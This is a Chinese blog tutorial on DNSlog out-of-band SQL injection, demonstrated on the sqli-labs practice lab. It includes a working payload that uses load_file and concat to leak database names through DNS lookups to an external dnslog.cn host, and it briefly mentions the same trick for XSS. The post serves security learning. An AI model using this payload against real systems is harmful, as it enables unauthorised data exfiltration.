dnslog注入

dnslog注入

dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示,注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数,这个函数的目的是读取本地文件,也可以对外发送请求,利用这个函数,我们再使用concat函数将我们想要执行的语句和dnslog的网址拼接起来,就可以在网址的访问记录上查询到我们希望查询的内容。

dnslog还可以使用在xss和命令执行上,简单来说,在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户访问的时候,将他的信息带回来,这个测试我会在后面进行详细说明。

过程

首先,我们找一个存在盲注的网站,这里我们用sqli-labs的第五关进行。

然后我们要理解,dnslog主要是利用load_file函数来对外发起请求,然后利用concat函数拼接命令,得出payload

and (select load_file(concat("//",(select database()),".4ozqke.dnslog.cn/abc"))) -- 

点击执行,即可在dnslog平台收到我们想要的返回。

可以看到,dns网址的高级域名,就是我们希望查询的内容。

注意事项:

  1. dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。

  2. 在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。

  3. 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

posted @   小明-o3rr0r  阅读(525)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示